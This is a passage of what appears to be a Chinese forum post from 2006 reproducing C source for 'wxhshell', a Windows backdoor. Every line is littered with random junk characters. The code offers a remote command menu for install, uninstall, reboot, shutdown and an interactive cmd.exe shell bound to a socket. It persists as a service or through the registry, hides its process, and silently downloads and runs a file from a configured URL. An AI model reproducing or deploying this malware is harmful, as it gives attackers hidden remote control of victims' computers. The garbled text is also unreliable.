  else { X#zp,7j?  
U+C ^"[B  
    switch(cmd[0]) { :}-?X\|\  
  {WQ6=wGpS  
  // 帮助 vKfjP_0$  
  case '?': { lS#^v#uS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -!K&\hEjj  
    break; k|{ 4"4r  
  } /_YTOSZjm  
  // 安装 1U?5/Ja  
  case 'i': { H!>>|6OPF  
    if(Install()) v["_t/_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~V^GlY  
    else \ FJ ae  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c _!!DEe7  
    break; ;--D?Gs]Qr  
    } *||Q_tlz  
  // 卸载 TKgN31`  
  case 'r': { qw>vu7/z  
    if(Uninstall()) "h|kf% W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `6;$Z)=.  
    else ]2 $T 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X4Pm&ol  
    break; lxr;AJ(  
    } *adznd  
  // 显示 wxhshell 所在路径 `r-3"or/$  
  case 'p': { $cU7)vmK`  
    char svExeFile[MAX_PATH]; B2|0.G|[j  
    strcpy(svExeFile,"\n\r"); Zo }^"u  
      strcat(svExeFile,ExeFile); IAmZ_2  
        send(wsh,svExeFile,strlen(svExeFile),0); B< HN$/  
    break; L&~'SC  
    } <0qhc$M  
  // 重启 H6Bw3I[  
  case 'b': { lJdYR'/Wd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j; R20xf0  
    if(Boot(REBOOT)) B|,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s67)n  
    else { <]X 6%LX  
    closesocket(wsh); *)Cr1d k  
    ExitThread(0); yqVoedN  
    } *M_^I)*L  
    break; `xx3JQv[  
    } &]shBvzl^  
  // 关机 (E,Ibz2G:e  
  case 'd': { 7upWM~H^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >5?:iaq z  
    if(Boot(SHUTDOWN)) 7[UD;&\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q ]VB}nO  
    else { 5G$ ,2i(  
    closesocket(wsh); gS@<sO$d>  
    ExitThread(0); y.6/x?Qc  
    } Z0<s -eN:  
    break; w=a$]`  
    } .U44p*I  
  // 获取shell S#r|?GYua  
  case 's': { x 4sIZe+  
    CmdShell(wsh); 0L1sF'ZN  
    closesocket(wsh); )!caOGvhJ  
    ExitThread(0); cc:$$_'L  
    break; < (B|g&A  
  } #S x  
  // 退出 6(uZn=  
  case 'x': { wG9aX*(n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9qgs*]J  
    CloseIt(wsh); Y_EEnx&>i  
    break; DEt!/a{X  
    } z[myf] @  
  // 离开 %5DM ew  
  case 'q': { d3S Me  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SynRi/BRmw  
    closesocket(wsh); ?u/UV,";y  
    WSACleanup(); {?2|rv)  
    exit(1); 'W>y v  
    break; |lg jI!iK  
        } }L&LtW{X  
  } (DS"*4ty  
  } SbzJeaZv  
o4J@M{xb_  
  // 提示信息 nc\2A>f`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nMfR< %r  
} ~PpDrJ; Va  
  } :K"~PrHm  
~fb#/%SV  
  return; T93st<F=R  
} &[_@f#  
c:&8B/  
// shell模块句柄 \7>*ULP  
int CmdShell(SOCKET sock) S'kgpF"bm  
{ O`"~AY&  
STARTUPINFO si; +!E9$U>6%  
ZeroMemory(&si,sizeof(si)); ]!@=2kG4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RA[%8Rh)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 12m-$/5n+  
PROCESS_INFORMATION ProcessInfo; Uzc p  
char cmdline[]="cmd"; %KkC1.yu<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); au/LoO#6Ro  
  return 0; VJT /9O)Z|  
} Y_n3O@,  
{"%a-*@%  
// 自身启动模式 kh:_,g  
int StartFromService(void) Lo#G. s|  
{ c@"FV,L>  
typedef struct 4,Oa(b  
{ <\O8D0.d  
  DWORD ExitStatus; $eG_LY 1v  
  DWORD PebBaseAddress; _X mxBtk9f  
  DWORD AffinityMask; 6M_:D  
  DWORD BasePriority; _aF8Us  
  ULONG UniqueProcessId; FI.F6d)E$  
  ULONG InheritedFromUniqueProcessId; Us!ZQ#pP  
}   PROCESS_BASIC_INFORMATION; G &NK  
ZfH>UHft  
PROCNTQSIP NtQueryInformationProcess; 8ih_S2Cd  
D7JrGaF{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N6\rjYx+7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hf0(!C*  
jC>#`gD  
  HANDLE             hProcess; D GcpYA.7'  
  PROCESS_BASIC_INFORMATION pbi; qtozMa  
T!B\ixt6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kWVk^ ,  
  if(NULL == hInst ) return 0; iLNUydiS  
[ }Tb2|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r@qLG"[\c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9_iwikD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wWfj#IB;R  
\k`9s q  
  if (!NtQueryInformationProcess) return 0; unew XHA  
bhIShk[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g?Nk-cg  
  if(!hProcess) return 0; }2"W0ZdWD  
DuR9L'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j/=Tj'S?D  
*($,ay$&H  
  CloseHandle(hProcess); AWx@Z7\z"g  
k{{3nenAG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KV|D]}  
if(hProcess==NULL) return 0; oy5K* }  
6w;`A9G[YI  
HMODULE hMod; zow8 Q6f  
char procName[255]; V| kN 1 A  
unsigned long cbNeeded; /.CS6W^z  
%=9o'Y,4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X' 5R4j  
IF5-@hag,  
  CloseHandle(hProcess); UH}lKc=t  
'N+;{8C-{  
if(strstr(procName,"services")) return 1; // 以服务启动 W&R67ff|  
@4 8!e-W  
  return 0; // 注册表启动 R6o  D  
} \G>C{v;  
5[jS(1a`c  
// 主模块  Fpn*]x  
int StartWxhshell(LPSTR lpCmdLine) QOYMT( j  
{ N{Z+  
  SOCKET wsl; B ;E"VS0  
BOOL val=TRUE; 9X=<uS  
  int port=0; `y^\c#k  
  struct sockaddr_in door; N\B&|;-V  
h ~yTkN]  
  if(wscfg.ws_autoins) Install(); #)xlBq4cZ  
fuv{2[N V  
port=atoi(lpCmdLine); d;0]xG?%=  
`N.:3]B t  
if(port<=0) port=wscfg.ws_port; x[0hY0 ?[M  
'@hUmrl  
  WSADATA data; =FV(m S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tlUh8os  
iz^uj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -V}xvSVg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kc2y  
  door.sin_family = AF_INET; gDLS)4^w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f7\X3v2W}3  
  door.sin_port = htons(port); O!f37n-TB  
4c 8{AZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l1'v`!  
closesocket(wsl); k)*apc\W  
return 1; M.}J SDt  
} kBcTXl  
]bh%pn  
  if(listen(wsl,2) == INVALID_SOCKET) { JG'%HJ"D  
closesocket(wsl); i]? Eq?k  
return 1; d]O:VghY\  
} v+in:\Dv  
  Wxhshell(wsl); WA43}CyAe  
  WSACleanup(); 7:pc%Ksq  
(1^;l;7H  
return 0; 6Yodx$  
ud5}jyJ  
} 3lZl  
SF+L-R<e  
// 以NT服务方式启动 nCWoco.xy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gFHBIN;u  
{ 2p](`Y`  
DWORD   status = 0; S%}G 8Ty  
  DWORD   specificError = 0xfffffff; v"ORn5  
Q\kWQOB_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >zX^*T#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q;y5E`G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9GCK3  
  serviceStatus.dwWin32ExitCode     = 0; )G^k$j  
  serviceStatus.dwServiceSpecificExitCode = 0; ]-{ fr+  
  serviceStatus.dwCheckPoint       = 0; }aE'  
  serviceStatus.dwWaitHint       = 0; WVpx  
/kK*%TP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /tj]^QspS  
  if (hServiceStatusHandle==0) return; ]goJ- &  
W g7 eY'FE  
status = GetLastError(); &(Fm@ksh\  
  if (status!=NO_ERROR) p@f #fs  
{ Vlz\n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lg!E  
    serviceStatus.dwCheckPoint       = 0; K=0xR*ll5  
    serviceStatus.dwWaitHint       = 0; 4sQm"XgE  
    serviceStatus.dwWin32ExitCode     = status; :FS5BT$=  
    serviceStatus.dwServiceSpecificExitCode = specificError; b7\>=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bH/4f93Nb  
    return; 77[TqRLf  
  } ;k`51=Wi  
u3O@ccJ;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  mih}?oi  
  serviceStatus.dwCheckPoint       = 0; ,:L^vG@*  
  serviceStatus.dwWaitHint       = 0; Lr:n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B//*hH >F  
} z/4<x?}+hE  
)SJM:E  
// 处理NT服务事件,比如:启动、停止 3 5.&!4}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G-9i   
{ $%DoLpE>  
switch(fdwControl) N~=PecQ  
{ 0*5Jq#5  
case SERVICE_CONTROL_STOP: "o`?-bQ:  
  serviceStatus.dwWin32ExitCode = 0; 2yn"K|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E-C]<{`O  
  serviceStatus.dwCheckPoint   = 0; %M1l[\N  
  serviceStatus.dwWaitHint     = 0; P7=`P  
  { ef '?O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =l/Dc=[  
  } &gr 8;O:0  
  return; "A+7G5  
case SERVICE_CONTROL_PAUSE: 'a+^= c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Oo; ]j)z  
  break; X\Zan$oi  
case SERVICE_CONTROL_CONTINUE: K\%\p$ZD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j3-o}6  
  break; ed',\+.uB  
case SERVICE_CONTROL_INTERROGATE: PZqp;!:xz  
  break; lG'D/#  
}; 5|~g2Zz{;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qqZ4K:oC,  
} tT)s,R%  
-~8PI2  
// 标准应用程序主函数 K% FK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &t8,326;  
{ < r~hU*u  
xS12$ib ~G  
// 获取操作系统版本 /}E2Rr?{  
OsIsNt=GetOsVer(); %<DdX*Qp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }FS_"0  
D8,8j;  
  // 从命令行安装 V;SV0~&  
  if(strpbrk(lpCmdLine,"iI")) Install(); [XI:Yf  
P!f0&W  
  // 下载执行文件 SzB<PP2  
if(wscfg.ws_downexe) { 'J} ?'{.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 `7y Pq*  
  WinExec(wscfg.ws_filenam,SW_HIDE); AA^K /y  
} 9;6)b 0=$  
0M;El2 P$  
if(!OsIsNt) { QnS^ G{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ._tEDY/1m  
HideProc();  ;303fS  
StartWxhshell(lpCmdLine); cSYCMQ1ro  
} 2_u+&7  
else Z ;rM@x  
  if(StartFromService()) H*k\C  
  // 以服务方式启动 KH?6O%d  
  StartServiceCtrlDispatcher(DispatchTable); }[z7V  
else sz270k%[  
  // 普通方式启动 wg0_J<y]  
  StartWxhshell(lpCmdLine); PUO7Z2  
S>T ;`,  
return 0; +|dL R*s  
}
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只看该作者 1 发表于: 2006-10-10
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